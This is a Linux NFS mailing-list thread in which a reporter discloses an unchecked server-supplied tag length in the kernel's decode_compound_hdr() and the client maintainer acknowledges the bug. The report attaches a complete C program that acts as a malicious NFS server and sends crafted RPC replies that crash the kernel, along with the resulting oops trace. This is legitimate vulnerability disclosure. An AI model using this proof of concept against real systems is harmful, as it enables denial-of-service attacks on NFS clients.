* NFS client RPC bug
@ 2021-11-04 20:10 rtm
2021-11-04 20:29 ` Trond Myklebust
0 siblings, 1 reply; 3+ messages in thread
From: rtm @ 2021-11-04 20:10 UTC (permalink / raw)
To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs
[-- Attachment #1: Type: text/plain, Size: 3145 bytes --]
decode_compound_hdr() in fs/nfs/nfs4xdr.c adds the taglen supplied by
the server to a pointer and then dereferences it, but does not first
check taglen for sanity:
p = xdr_inline_decode(xdr, 8);
...;
hdr->taglen = be32_to_cpup(p);
...;
p = xdr_inline_decode(xdr, hdr->taglen + 4);
...;
p += XDR_QUADLEN(hdr->taglen);
hdr->nops = be32_to_cpup(p);
The second xdr_inline_decode() limits the opportunities for an
attacker-controlled pointer dereference, but a taglen of 0xfffffffc
will cause a kernel page fault.
I've attached a program that tickles the bug on my kernel 5.15
machine:
# uname -a
Linux (none) 5.15.0-rc7-dirty #15 SMP Thu Nov 4 19:20:36 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_1.c
# ./a.out
mount:mount.nfs: timeout set for Thu Jan 1 00:02:12 1970
mount.nfs: trying text-based options 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
accept returned 4
proc 0
proc 1
exception pc=0xffffffff8022dcd8 cause=d symbolic tval=0xffffffe102c5aad8
[ 16.101267] Unable to handle kernel paging request at virtual address ffffffe102c5aad8
[ 16.112762] Oops [#1]
[ 16.116973] Modules linked in:
[ 16.122429] CPU: 0 PID: 60 Comm: mount.nfs Not tainted 5.15.0-rc7-dirty #13
[ 16.131634] Hardware name: ucbbar,riscvemu-bare (DT)
[ 16.138694] epc : decode_compound_hdr+0x96/0x12e
[ 16.146706] ra : decode_compound_hdr+0x82/0x12e
[ 16.154151] epc : ffffffff8022dcd8 ra : ffffffff8022dcc4 sp : ffffffd00057b6e0
...
[ 16.272291] status: 0000000200000121 badaddr: ffffffe102c5aad8 cause: 000000000000000d
[ 16.282369] [<ffffffff8022dcd8>] decode_compound_hdr+0x96/0x12e
[ 16.290699] [<ffffffff80239c2a>] nfs4_xdr_dec_exchange_id+0x32/0x57e
[ 16.299265] [<ffffffff8071af5c>] rpcauth_unwrap_resp_decode+0x12/0x1a
[ 16.307926] [<ffffffff8071bc18>] rpcauth_unwrap_resp+0x12/0x1a
[ 16.316196] [<ffffffff80711fb4>] call_decode+0x112/0x176
[ 16.323488] [<ffffffff8071a498>] __rpc_execute+0x76/0x216
[ 16.330751] [<ffffffff8071aab6>] rpc_execute+0x58/0x7e
[ 16.337966] [<ffffffff80713340>] rpc_run_task+0x12c/0x16c
[ 16.345113] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
[ 16.353364] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
[ 16.361556] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
[ 16.369829] [<ffffffff8023ea28>] nfs41_discover_server_trunking+0x1c/0xa8
[ 16.378421] [<ffffffff80240d4e>] nfs4_discover_server_trunking+0x7c/0x1e8
[ 16.386958] [<ffffffff802490fe>] nfs4_init_client+0x92/0xf6
[ 16.394014] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
[ 16.401147] [<ffffffff8024882e>] nfs4_set_client+0xd6/0x13e
[ 16.410346] [<ffffffff8024981a>] nfs4_create_server+0xb8/0x208
[ 16.421493] [<ffffffff80241606>] nfs4_try_get_tree+0x16/0x4c
[ 16.432759] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
[ 16.442283] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
[ 16.451889] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
[ 16.461619] [<ffffffff8014a560>] do_mount+0x4c/0x7e
[ 16.470833] [<ffffffff8014a912>] sys_mount+0xca/0x14e
[ 16.480401] [<ffffffff80003046>] ret_from_syscall+0x0/0x2
[-- Attachment #2: nfs_1.c --]
[-- Type: application/octet-stream, Size: 2975 bytes --]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
unsigned long long aaa[] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x300000000000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int iii = 0;
int readn(int fd, char *buf, int n) {
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
int
main(){
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(2049);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind"); exit(1);
}
listen(s, 10);
sync(); sleep(1); sleep(1); sleep(1);
if(fork() == 0){
if(system("echo -n mount: ; mount -v -t nfs 127.0.0.1:/tmp /mnt") == 0){
system("echo -n ls: ; ls -l /mnt/. /mnt/z");
system("echo -n echo: ; echo hi > /mnt/x");
system("echo -n umount: ; umount /mnt");
}
exit(0);
}
if(fork() == 0){
#define NAA 64
unsigned long long aa[NAA];
for(int i = 0; i < NAA; i++) aa[i] = aaa[iii++];
int ii = 0;
socklen_t sinlen = sizeof(sin);
int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
printf("accept returned %d\n", s1);
if(s1 < 0) { perror("accept"); exit(1); }
close(s);
while(1){
unsigned int ilen;
if(readn(s1, (char*)&ilen, 4) < 0) break;
ilen = ntohl(ilen);
ilen &= 0x7fffffff;
char ibuf[1024];
if(readn(s1, (char*)ibuf, ilen) < 0) break;
int xid = *(int*)(ibuf+0);
int proc = ntohl(*(int*)(ibuf+20));
printf("proc %d\n", proc);
char obuf[128];
int olen = sizeof(obuf);
int dummy = htonl(olen | 0x80000000);
write(s1, &dummy, 4);
memset(obuf, 0xff, sizeof(obuf));
for(int i = 0; i+8 <= sizeof(obuf) && ii < NAA; i += 8)
*(unsigned long long *)(obuf + i) ^= aa[ii++];
*(int*)(obuf+0) = xid;
*(int*)(obuf+4) = htonl(1); // REPLY
*(int*)(obuf+8) = htonl(0); // MSG_ACCEPTED
*(int*)(obuf+12) = htonl(0); // opaque_auth flavor = AUTH_NULL
*(int*)(obuf+16) = htonl(0); // opaque_auth length
*(int*)(obuf+20) = htonl(0); // SUCCESS
if(write(s1, obuf, olen)<=0) perror("write");
}
exit(1);
}
close(s);
sleep(7);
}
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: NFS client RPC bug
2021-11-04 20:10 NFS client RPC bug rtm
@ 2021-11-04 20:29 ` Trond Myklebust
2021-11-04 20:36 ` rtm
0 siblings, 1 reply; 3+ messages in thread
From: Trond Myklebust @ 2021-11-04 20:29 UTC (permalink / raw)
To: anna.schumaker@netapp.com, rtm@csail.mit.edu; +Cc: linux-nfs@vger.kernel.org
On Thu, 2021-11-04 at 16:10 -0400, rtm@csail.mit.edu wrote:
> [You don't often get email from rtm@csail.mit.edu. Learn why this is
> important at http://aka.ms/LearnAboutSenderIdentification.]
>
> decode_compound_hdr() in fs/nfs/nfs4xdr.c adds the taglen supplied by
> the server to a pointer and then dereferences it, but does not first
> check taglen for sanity:
>
> p = xdr_inline_decode(xdr, 8);
> ...;
> hdr->taglen = be32_to_cpup(p);
> ...;
> p = xdr_inline_decode(xdr, hdr->taglen + 4);
> ...;
> p += XDR_QUADLEN(hdr->taglen);
Thanks! Yes, this follows legacy coding practices and really should be
converted to use xdr_stream_decode_opaque_inline().
I'm a little surprised that xdr_inline_decode() didn't barf, though.
Isn't size_t a 64-bit type on riscv64?
> hdr->nops = be32_to_cpup(p);
>
> The second xdr_inline_decode() limits the opportunities for an
> attacker-controlled pointer dereference, but a taglen of 0xfffffffc
> will cause a kernel page fault.
>
> I've attached a program that tickles the bug on my kernel 5.15
> machine:
>
> # uname -a
> Linux (none) 5.15.0-rc7-dirty #15 SMP Thu Nov 4 19:20:36 UTC 2021
> riscv64 riscv64 riscv64 GNU/Linux
> # cc nfs_1.c
> # ./a.out
> mount:mount.nfs: timeout set for Thu Jan 1 00:02:12 1970
> mount.nfs: trying text-based options
> 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
> accept returned 4
> proc 0
> proc 1
> exception pc=0xffffffff8022dcd8 cause=d symbolic
> tval=0xffffffe102c5aad8
> [ 16.101267] Unable to handle kernel paging request at virtual
> address ffffffe102c5aad8
> [ 16.112762] Oops [#1]
> [ 16.116973] Modules linked in:
> [ 16.122429] CPU: 0 PID: 60 Comm: mount.nfs Not tainted 5.15.0-rc7-
> dirty #13
> [ 16.131634] Hardware name: ucbbar,riscvemu-bare (DT)
> [ 16.138694] epc : decode_compound_hdr+0x96/0x12e
> [ 16.146706] ra : decode_compound_hdr+0x82/0x12e
> [ 16.154151] epc : ffffffff8022dcd8 ra : ffffffff8022dcc4 sp :
> ffffffd00057b6e0
> ...
> [ 16.272291] status: 0000000200000121 badaddr: ffffffe102c5aad8
> cause: 000000000000000d
> [ 16.282369] [<ffffffff8022dcd8>] decode_compound_hdr+0x96/0x12e
> [ 16.290699] [<ffffffff80239c2a>]
> nfs4_xdr_dec_exchange_id+0x32/0x57e
> [ 16.299265] [<ffffffff8071af5c>]
> rpcauth_unwrap_resp_decode+0x12/0x1a
> [ 16.307926] [<ffffffff8071bc18>] rpcauth_unwrap_resp+0x12/0x1a
> [ 16.316196] [<ffffffff80711fb4>] call_decode+0x112/0x176
> [ 16.323488] [<ffffffff8071a498>] __rpc_execute+0x76/0x216
> [ 16.330751] [<ffffffff8071aab6>] rpc_execute+0x58/0x7e
> [ 16.337966] [<ffffffff80713340>] rpc_run_task+0x12c/0x16c
> [ 16.345113] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
> [ 16.353364] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
> [ 16.361556] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
> [ 16.369829] [<ffffffff8023ea28>]
> nfs41_discover_server_trunking+0x1c/0xa8
> [ 16.378421] [<ffffffff80240d4e>]
> nfs4_discover_server_trunking+0x7c/0x1e8
> [ 16.386958] [<ffffffff802490fe>] nfs4_init_client+0x92/0xf6
> [ 16.394014] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
> [ 16.401147] [<ffffffff8024882e>] nfs4_set_client+0xd6/0x13e
> [ 16.410346] [<ffffffff8024981a>] nfs4_create_server+0xb8/0x208
> [ 16.421493] [<ffffffff80241606>] nfs4_try_get_tree+0x16/0x4c
> [ 16.432759] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
> [ 16.442283] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
> [ 16.451889] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
> [ 16.461619] [<ffffffff8014a560>] do_mount+0x4c/0x7e
> [ 16.470833] [<ffffffff8014a912>] sys_mount+0xca/0x14e
> [ 16.480401] [<ffffffff80003046>] ret_from_syscall+0x0/0x2
>
--
Trond Myklebust
Linux NFS client maintainer, Hammerspace
trond.myklebust@hammerspace.com
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: NFS client RPC bug
2021-11-04 20:29 ` Trond Myklebust
@ 2021-11-04 20:36 ` rtm
0 siblings, 0 replies; 3+ messages in thread
From: rtm @ 2021-11-04 20:36 UTC (permalink / raw)
To: Trond Myklebust; +Cc: anna.schumaker@netapp.com, linux-nfs@vger.kernel.org
> I'm a little surprised that xdr_inline_decode() didn't barf, though.
> Isn't size_t a 64-bit type on riscv64?
I believe hdr->taglen is a u32.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2021-11-04 20:36 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2021-11-04 20:10 NFS client RPC bug rtm
2021-11-04 20:29 ` Trond Myklebust
2021-11-04 20:36 ` rtm
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox